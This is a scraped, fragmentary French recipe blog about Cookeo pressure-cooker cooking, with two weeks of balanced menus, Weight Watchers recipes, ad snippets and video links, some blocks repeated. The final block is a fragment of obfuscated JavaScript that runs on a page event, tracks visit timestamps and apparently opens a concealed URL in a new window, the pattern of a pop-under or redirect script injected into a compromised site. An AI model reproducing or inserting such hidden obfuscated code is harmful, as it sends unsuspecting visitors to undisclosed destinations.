Risotto crevettes curry fiche cookeo

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Voici un récapitulatif des 14 premiers jours de menus cookeo équilibrés .Vous avez donc la semaine 1 et 2 menus cookeo équilibrés. 

Bientôt le 15è jour .

Semaine 1 menus cookeo équilibrés tableau récapitulatif

JOUR 1     ICI        

JOUR 2    ICI    

 JOUR 3   ICI  

  JOUR 4  ICI 

 JOUR 5    ICI  

JOUR 6    ICI   

JOUR 7    ICI 

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Semaine 2 menus cookeo équilibrés

Voilà le récapitulatif de la semaine 2 de menus cookeo équilibrés. Pour accéder aux menus il suffit de cliquer sur le jour  souhaité en haut du tableau ou de cliquez sur 

JOUR 8

JOUR 9

JOUR 10

JOUR 11

JOUR 12

JOUR 13

JOUR 14

Les recettes en rouge sont des recettes qui peuvent être réalisées au cookeo.
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Poulet cola cookeo weight watchers

Ingrédients pour 4 personnes

400 g d’escalope de poulet

2 cuillères à café d’huile d’olive

Sel

Poivre

2 citrons

150 ml de cola

100 ml d’eau

1 cuillère à soupe de gingembre moulu

Préparation

Mode dorer

Versez l’huile d’olive et faites dorer le poulet coupé en morceaux .

Au bout d’environ 3 mn ajoutez le cola  et les 100 ml d’eau

Ajoutez le gingembre et mélangez.

Versez le jus de citron .

Salez et poivrez .

Cuisson rapide ou sous pression

Programmez  5 mn . Servez chaud .
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//

Fiche cookeo risotto saumon poireaux

Une recette cookeo à tenter .

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Ingrédients  pour 4 personnes

300 g de spaghettis/2 citrons/persil sel/poivre/2 cuillères à soupe de crème fraîche allégée/

Préparation

Cuisson rapide ou sous pression

Cassez les spaghettis en 2 . Déposez les spaghettis dans la cuve . Recouvrez d’eau .

Programmez 5 mn (le temps indiqué sur le paquet de spaghettis divisé par 2)

Dans un bol ajoutez 2 cuillères à soupe de crème fraîche. Ajoutez le jus des citrons que vous avez pressé et mélangez. Ajoutez le persil que vous avez lavé et ciselé .

Quand les spaghettis sont cuites mélangez avec la sauce citron crème fraîche. Servez chaud
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Bonjour tout le monde je vous propose aujourd’hui un PDF que j’ai trouvé en cherchant sur le net des recettes cookeo . C’est à peu près une centaine de recettes certaines connues d’autres plus nouvelles. 

Pour télécharger le PDF cliquez ICI

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(adsbygoogle = window.adsbygoogle || []).push({});
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Raclette cookeo : vous avez déjà testé ?

Je viens de découvrir en me baladant sur le net 2 fiches de recettes cookeo de raclette cookeo . Je me demande ce que cela peut donner . J’avoue que j’ai bien envie d’essayer tout cela est fort alléchant mais je suis septique .

Et vous vous avez déjà testé ?

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//
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Semaine 2 menus cookeo équilibrés

Voilà le récapitulatif de la semaine 2 de menus cookeo équilibrés. Pour accéder aux menus il suffit de cliquer sur le jour  souhaité en haut du tableau ou de cliquez sur 

JOUR 8

JOUR 9

JOUR 10

JOUR 11

JOUR 12

JOUR 13

JOUR 14

Les recettes en rouge sont des recettes qui peuvent être réalisées au cookeo.

Pourquoi le premier menu de la semaine 2 commence par jour 8 . C’est parce que il existe une semaine 1 de menus cookeo équilibrés.numérotées de 1 à 7) Pour consultez cette semaine de menus CLIQUEZ ICI
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Semaine 1 menus cookeo équilibrés tableau récapitulatif

JOUR 1     ICI        

JOUR 2    ICI    

 JOUR 3   ICI  

  JOUR 4  ICI 

 JOUR 5    ICI  

JOUR 6    ICI   

JOUR 7    ICI 

Voici un tableau récapitulatif des menus cookeo équilibrés semaine 1 .

Il vous suffit de cliquer sur le JOUR qui vous intéresse pour accéder aux recettes .

Les recettes en rouge peuvent se réaliser au cookeo

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Goulash cookeo weight watchers  8PP  11 SP

Ingrédients pour 4 personnes

500 g de viande de bœuf

600 g de pommes de terre

4 gousses d’ail ou ail déshydraté

200 g d’oignons congelés ou frais

2 Cuillères à café d’huile d’olive

4 tomates

Paprika

1 cube de bouillon de bœuf

500 ml d’eau

4 cuillères à café de crème fraîche

Sel  Poivre

Préparation

Mode dorer

Faites revenir dans   l’huile d’olive la viande, puis les oignons.

Ajoutez les tomates  coupées en morceaux.

Salez, poivrer, saupoudrez de paprika .Versez l’ail.

Ajoutez les morceaux de pommes de terre. Versez un bouillon composé d’eau et du cube de bouillon de bœuf.

Cuisson rapide ou sous pression

Programmez 14 mn.

Quand la cuisson est terminée ajoutez les 4 cuillères à café de crème fraîche.

Servez chaud 

[youtube https://www.youtube.com/watch?v=yH03AkPMrA0]
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Menu cookeo équilibré JOUR 14

DEJEUNER

Salade haricots verts mais

Spaghettis steak hachés cookeo

Fromage

Fraises ou compote pommes fraises cookeo

Pain

DINER

Endives champignons

  Saucisses chou fleur cookeo

            Crème chocolat cookeo ?

Fruit de saison

Pain

Salade haricots verts et mais 115 calories

Ingrédients pour 4 personnes

1 boite de mais /1 grosse boite de haricots verts/4 cuillères à soupe d’huile d’olive/1 cuillère à soupe de vinaigre/1 cuillère à café de moutarde/sel/poivre

Préparation

Ouvrez la boite de mais  et de haricots verts et égouttez les. Rincez le mais et les haricots verts. Placez le mais et les haricots dans un saladier ou dans des assiettes. Versez une vinaigrette que vous avez confectionnée avec un mélange de 4 cuillères à soupe d’huile  d’olive, une

Saucisses chou-fleur 

Ingrédients pour 4 personnes

‘4 saucisses

2 cuillères à soupe de persil haché

2 gousses d’ail hachées

1 petit verre de vin blanc

Sel

Poivre

Huile d’olive

800  g de fleurettes de chou-fleur congelées

300 ml d’eau

Préparation

Versez de l’huile d’olive dans la cuve pour faire revenir l’ail haché. Ajoutez tout de suite les morceaux de saucisses.

Ajoutez ensuite les fleurettes ,le verre de vin blanc.

Versez 2 cuillères à soupe de persil .Ajoutez 300 ml d’eau .

Mode cuisson rapide ou sous pression

Programmez 6 mn .

Servez chaud .

Fromage 84 calories

120 g

Compote pommes fraises   120 calories

4 pots ou au cookeo ici

Pain  110 calories

Salade endives champignons 175calories

Ingrédients pour 4 personnes

4 endives/200 g de champignons de Paris frais ou congelés /Sel/ Poivre/4 cuillères à soupe d’huile d’olive/2 citrons /1 douzaine de cerneaux de noix

Préparation

Dans un saladier pressez le jus des citrons, puis ajoutez l’huile d’olive, le sel et le poivre .Mélangez l’ensemble.

Faites cuire les champignons de Paris dans de l’eau bouillante (si les champignons sont frais lavez les et coupez les en morceaux).

Egouttez les champignons et laissez les refroidir.

Coupez les endives en morceaux et déposez les dans le saladier avec les champignons .Placez le saladier dans le frigo pendant une heure. Servez froid.

Spaghettis steaks hachés moutarde

Ingrédients pour 4  personnes

4 steaks hachés

280 g de spaghettis

2 cuillères à soupe de moutarde

Huile d’olive

Sel

Poivre

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez de l’huile dans la cuve.

Coupez les steaks en morceaux et faites des boulettes pendant que l’huile chauffe.

Faites revenir les boulettes de steak. Ajoutez les spaghettis que vous avez coupées en 2.

Emiettez le cube de bouillon de bœuf dans de l’eau et versez dans la cuve. (500 ml environ)

Salez et poivrez.

Mode cuisson rapide ou sous pression

Programmez 5 mn (le temps indiqué sur le paquet de pâtes divisé par 2)

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de moutarde, mélangez et servez chaud.

Crème chocolat

4 pots ou cookeo ici

Pain  110 calories
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Steaks hachés moutarde recette cookeo 

Ingrédients pour 4 personnes

4 steaks hachés

100 g d’oignons congelés

2 cuillères à soupe de moutarde

2 cuillères à soupe de crème fraîche

1 cube de bouillon de bœuf

200 ml d’eau

Sel

Poivre

1 verre de vin blanc

Huile d’olive

2 cuillères à café de maizena

Préparation

Mode dorer

Faites dorer les oignons dans la cuve avec l’huile d’olive

Ajoutez les steaks hachés .

Versez le vin blanc et le bouillon composé de 200 ml d’eau et le cube de bouillon de bœuf émiétté.

Salez et poivrez.

Cuisson rapide ou sous pression

Programmez 3 mn

Repassez en mode dorer pour épaissir la sauce avec 2 cuillères à café de maizena

Ajoutez la crème fraiche et la moutarde .
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//

Vidéo cookeo boeuf catalane . Laissez vous tenter

[youtube https://www.youtube.com/watch?v=adyu00Z_npM]
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());